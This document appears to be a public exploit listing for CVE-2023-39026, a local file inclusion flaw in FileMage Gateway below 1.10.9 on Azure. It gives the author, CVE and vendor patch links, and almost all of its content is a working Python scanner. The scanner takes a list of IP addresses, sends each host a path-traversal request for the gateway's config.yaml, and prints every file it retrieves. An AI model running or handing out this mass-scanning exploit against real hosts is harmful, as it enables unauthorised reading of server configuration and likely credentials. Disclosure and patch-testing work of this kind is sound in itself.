FileMage Gateway 1.10.9 – Local File Inclusion
# Exploit Title: FileMage Gateway 1.10.9 - Local File Inclusion # Date: 8/22/2023 # Exploit Author: Bryce "Raindayzz" Harty # Vendor Homepage: https://www.filemage.io/ # Version: Azure Versions < 1.10.9 # Tested on: All Azure deployments < 1.10.9 # CVE : CVE-2023-39026 # Technical Blog - https://raindayzz.com/technicalblog/2023/08/20/FileMage-Vulnerability.html # Patch from vendor - https://www.filemage.io/docs/updates.html import requests import warnings warnings.filterwarnings("ignore") def worker(url): response = requests.get(url, verify=False, timeout=.5) return response def main(): listIP = [] file_path = input("Enter the path to the file containing the IP addresses: ") with open(file_path, 'r') as file: ip_list = file.read().splitlines() searchString = "tls" for ip in ip_list: url = f"https://{ip}" + "/mgmnt/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cprogramdata%5cfilemage%5cgateway%5cconfig.yaml" try: response = worker(url) #print(response.text) if searchString in response.text: print("Vulnerable IP: " + ip) print(response.text) listIP.append(ip) except requests.exceptions.RequestException as e: print(f"Error occurred for {ip}: {str(e)}") for x in listIP: print(x) if __name__ == '__main__': main() |